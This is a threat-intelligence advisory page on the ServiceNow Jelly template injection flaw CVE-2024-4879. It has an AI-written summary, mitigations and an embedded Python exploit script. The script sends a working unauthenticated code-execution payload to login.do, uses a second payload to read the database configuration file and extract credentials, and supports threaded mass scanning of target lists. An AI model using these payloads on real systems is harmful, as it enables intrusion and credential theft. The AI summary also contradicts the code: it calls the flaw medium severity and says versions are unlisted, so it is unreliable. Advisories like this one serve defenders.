ServiceNow Multiple Versions - Input Validation & Template Injection
ServiceNow Multiple Versions - Input Validation & Template Injection
AI Analysis
Technical Summary
The reported threat concerns multiple versions of ServiceNow, a widely used cloud-based IT service management (ITSM) platform, which suffers from input validation and template injection vulnerabilities. These vulnerabilities arise when user-supplied input is not properly sanitized or validated before being processed or rendered by the application, allowing an attacker to inject malicious template code. Template injection can lead to unauthorized code execution within the context of the web application, potentially enabling attackers to manipulate server-side logic, access sensitive data, or escalate privileges. The exploit targets web components of ServiceNow, leveraging weaknesses in input handling to execute arbitrary code or commands on the server. The presence of exploit code written in Python indicates that the attack can be automated, facilitating exploitation by attackers with moderate technical skills. Although specific affected versions are not listed, the mention of "multiple versions" suggests a broad impact across different ServiceNow releases. The lack of patch links and absence of known exploits in the wild imply that this vulnerability may be newly disclosed or under active investigation. Given the central role of ServiceNow in enterprise IT operations, such vulnerabilities can have significant operational and security consequences.
Potential Impact
For European organizations, the exploitation of input validation and template injection vulnerabilities in ServiceNow can lead to severe consequences. ServiceNow often manages critical IT workflows, incident response, asset management, and sensitive organizational data. Successful exploitation could result in unauthorized access to confidential information, disruption of IT service management processes, and potential lateral movement within the network. This could affect data confidentiality, integrity, and availability, potentially leading to compliance violations under regulations such as GDPR. Additionally, disruption of ITSM workflows could impair incident response and recovery efforts, amplifying the operational impact. Given the medium severity rating and the automated exploit code availability, attackers could target European enterprises relying heavily on ServiceNow for their IT operations, increasing the risk of data breaches and service interruptions.
Mitigation Recommendations
European organizations using ServiceNow should immediately conduct a thorough assessment to identify the versions deployed and verify if they are affected. Since no official patches are referenced, organizations should engage with ServiceNow support or monitor official advisories for forthcoming patches. In the interim, implement strict input validation and sanitization on all user inputs interacting with ServiceNow, especially those that influence template rendering. Employ web application firewalls (WAFs) with custom rules to detect and block suspicious payloads indicative of template injection attempts. Restrict access to ServiceNow instances to trusted networks and enforce strong authentication and authorization controls. Conduct regular security audits and penetration testing focused on input handling and template processing components. Additionally, monitor logs for unusual activities that may indicate exploitation attempts. Finally, prepare incident response plans tailored to potential ServiceNow compromise scenarios.
Affected Countries
Germany, United Kingdom, France, Netherlands, Sweden, Italy
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affected from 0 before Vancouver Patch 9 # affected from 0 before Vancouver Patch 10 # affected from 0 before Washington DC Patch 1 Hot Fix 2b # affected from 0 before Washington DC Patch 2 Hot Fix 2 # affected from 0 before Washington DC Patch 3 Hot Fix 1 # affected from 0 before Washington DC Patch 4 # Tested on: ServiceNow Platform # CVE: CVE-2024-4879 # Category: Input Validation # CVSS Score: 9.8 (Critical) # CWE: CWE-20 (Improper Input Validation) # Description: # ServiceNow Platform contains an input validation vulnerability that allows # unauthenticated remote code execution. The vulnerability affects Vancouver, # Washington DC, and Utah releases of the Now Platform. # Impact: # - Unauthenticated remote code execution # - Complete system compromise # - Data exfiltration # - Service disruption # Requirements: # - requests>=2.25.1 # - colorama>=0.4.4 # - urllib3 # Usage: # python3 CVE-2024-4879.py -t https://target.service-now.com # python3 CVE-2024-4879.py -f targets.txt """ from colorama import Fore, Style, init import requests import argparse import urllib3 import concurrent.futures import sys import re from urllib.parse import urlparse # Initialize colorama init(autoreset=True) # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Colors: RED = Fore.RED GREEN = Fore.GREEN YELLOW = Fore.YELLOW BLUE = Fore.BLUE WHITE = Fore.WHITE CYAN = Fore.CYAN MAGENTA = Fore.MAGENTA RESET = Style.RESET_ALL banner = f""" {Colors.CYAN} ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ █████╗ ███████╗ █████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██║ ██║██╔══██╗╚════██║██╔══██╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗███████║╚█████╔╝ ██╔╝╚██████║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║██╔══██╗ ██╔╝ ╚═══██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██║╚█████╔╝ ██║ █████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚════╝ {Colors.RESET} {Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET} {Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET} """ class ServiceNowExploit: def __init__(self, timeout=10, verbose=False): self.timeout = timeout self.verbose = verbose self.session = requests.Session() self.session.verify = False def _log(self, level, message, url=""): """Enhanced logging with colors and levels""" timestamp = "[*]" if level == "success": print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "error": print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "warning": print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "info": print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") elif level == "verbose" and self.verbose: print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}") def validate_url(self, url): """Validate and normalize URL format""" if not url.startswith(('http://', 'https://')): url = f"https://{url}" try: parsed = urlparse(url) if not parsed.netloc: return None return url except Exception: return None def check_target_reachability(self, url): """Check if target is reachable""" try: response = self.session.get(url, timeout=self.timeout) if response.status_code == 200: self._log("info", "Target is reachable", url) return True else: self._log("warning", f"Target returned status {response.status_code}", url) return False except requests.exceptions.RequestException as e: self._log("error", f"Target unreachable: {str(e)}", url) return False def exploit_vulnerability(self, url): """Main exploit function for CVE-2024-4879""" try: # Normalize URL url = self.validate_url(url) if not url: self._log("error", "Invalid URL format") return False # Check reachability first if not self.check_target_reachability(url): return False # Construct the exploit payload exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" exploit_url = f"{url}{exploit_path}" self._log("info", "Testing for CVE-2024-4879 vulnerability", url) # Send exploit request response = self.session.get(exploit_url, timeout=self.timeout) if self.verbose: self._log("verbose", f"Response status: {response.status_code}") self._log("verbose", f"Response length: {len(response.text)}") # Check for vulnerability indicator if response.status_code == 200 and "1337" in response.text: self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url) # Attempt to extract sensitive information info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E" info_url = f"{url}{info_path}" try: info_response = self.session.get(info_url, timeout=self.timeout) if info_response.status_code == 200: self._log("success", "Database configuration extracted!") if self.verbose: print(f"\n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}") # Extract and display configuration data config_data = self._extract_config_data(info_response.text) if config_data: print(config_data) print(f"{Colors.YELLOW}================================{Colors.RESET}\n") except Exception as e: self._log("warning", f"Failed to extract configuration: {str(e)}") return True else: self._log("error", "Not vulnerable or payload failed", url) return False except requests.exceptions.Timeout: self._log("warning", "Connection timeout", url) return False except requests.exceptions.ConnectionError: self._log("error", "Connection failed", url) return False except Exception as e: self._log("error", f"Unexpected error: {str(e)}", url) return False def _extract_config_data(self, response_text): """Extract configuration data from response""" try: # Look for database configuration patterns patterns = [ r'glide\.db\..*?=.*', r'jdbc\..*?=.*', r'database\..*?=.*' ] extracted_data = [] for pattern in patterns: matches = re.findall(pattern, response_text, re.IGNORECASE) extracted_data.extend(matches) return '\n'.join(extracted_data) if extracted_data else None except Exception: return None def main(): parser = argparse.ArgumentParser( description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner", epilog="Examples:\n python3 CVE-2024-4879.py -t https://target.service-now.com\n python3 CVE-2024-4879.py -f targets.txt -v", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('-t', '--target', help="Single target to scan") parser.add_argument('-f', '--file', help="File containing list of targets") parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output") parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)") parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)") args = parser.parse_args() if not args.target and not args.file: parser.print_help() sys.exit(1) print(banner) try: exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose) if args.target: exploit.exploit_vulnerability(args.target) if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f.readlines() if line.strip()] print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...\n") with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: executor.map(exploit.exploit_vulnerability, targets) except FileNotFoundError: print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user") sys.exit(0) except Exception as e: print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}") sys.exit(1) if __name__ == "__main__": main()
ServiceNow Multiple Versions - Input Validation & Template Injection
Description
ServiceNow Multiple Versions - Input Validation & Template Injection
AI-Powered Analysis
Technical Analysis
The reported threat concerns multiple versions of ServiceNow, a widely used cloud-based IT service management (ITSM) platform, which suffers from input validation and template injection vulnerabilities. These vulnerabilities arise when user-supplied input is not properly sanitized or validated before being processed or rendered by the application, allowing an attacker to inject malicious template code. Template injection can lead to unauthorized code execution within the context of the web application, potentially enabling attackers to manipulate server-side logic, access sensitive data, or escalate privileges. The exploit targets web components of ServiceNow, leveraging weaknesses in input handling to execute arbitrary code or commands on the server. The presence of exploit code written in Python indicates that the attack can be automated, facilitating exploitation by attackers with moderate technical skills. Although specific affected versions are not listed, the mention of "multiple versions" suggests a broad impact across different ServiceNow releases. The lack of patch links and absence of known exploits in the wild imply that this vulnerability may be newly disclosed or under active investigation. Given the central role of ServiceNow in enterprise IT operations, such vulnerabilities can have significant operational and security consequences.
Potential Impact
For European organizations, the exploitation of input validation and template injection vulnerabilities in ServiceNow can lead to severe consequences. ServiceNow often manages critical IT workflows, incident response, asset management, and sensitive organizational data. Successful exploitation could result in unauthorized access to confidential information, disruption of IT service management processes, and potential lateral movement within the network. This could affect data confidentiality, integrity, and availability, potentially leading to compliance violations under regulations such as GDPR. Additionally, disruption of ITSM workflows could impair incident response and recovery efforts, amplifying the operational impact. Given the medium severity rating and the automated exploit code availability, attackers could target European enterprises relying heavily on ServiceNow for their IT operations, increasing the risk of data breaches and service interruptions.
Mitigation Recommendations
European organizations using ServiceNow should immediately conduct a thorough assessment to identify the versions deployed and verify if they are affected. Since no official patches are referenced, organizations should engage with ServiceNow support or monitor official advisories for forthcoming patches. In the interim, implement strict input validation and sanitization on all user inputs interacting with ServiceNow, especially those that influence template rendering. Employ web application firewalls (WAFs) with custom rules to detect and block suspicious payloads indicative of template injection attempts. Restrict access to ServiceNow instances to trusted networks and enforce strong authentication and authorization controls. Conduct regular security audits and penetration testing focused on input handling and template processing components. Additionally, monitor logs for unusual activities that may indicate exploitation attempts. Finally, prepare incident response plans tailored to potential ServiceNow compromise scenarios.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52410
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for ServiceNow Multiple Versions - Input Validation & Template Injection
#!/usr/bin/env python3 """ # Title : ServiceNow Multiple Versions - Input Validation & Template Injection # Date: 2025-01-31 # Author: ibrahimsql # Vendor: ServiceNow # Version: Vancouver, Washington DC, Utah (various patches) # affected from 0 before Utah Patch 10 Hot Fix 3 # affected from 0 before Utah Patch 10a Hot Fix 2 # affected from 0 before Vancouver Patch 6 Hot Fix 2 # affected from 0 before Vancouver Patch 7 Hot Fix 3b # affected from 0 before Vancouver Patch 8 Hot Fix 4 # affecte... (10673 more characters)
Threat ID: 689a95b8ad5a09ad002b0962
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 8/19/2025, 1:55:17 AM
Last updated: 8/22/2025, 1:20:47 AM
Views: 4
Related Threats
After SharePoint attacks, Microsoft stops sharing PoC exploit code with China
HighU.S. CISA adds Apple iOS, iPadOS, and macOS flaw to its Known Exploited Vulnerabilities catalog
MediumPre-Auth Exploit Chains Found in Commvault Could Enable Remote Code Execution Attacks
HighAI can be used to create working exploits for published CVEs in a few minutes and for a few dollars
MediumRussian State Hackers Exploit 7-Year-Old Cisco Router Vulnerability
HighActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.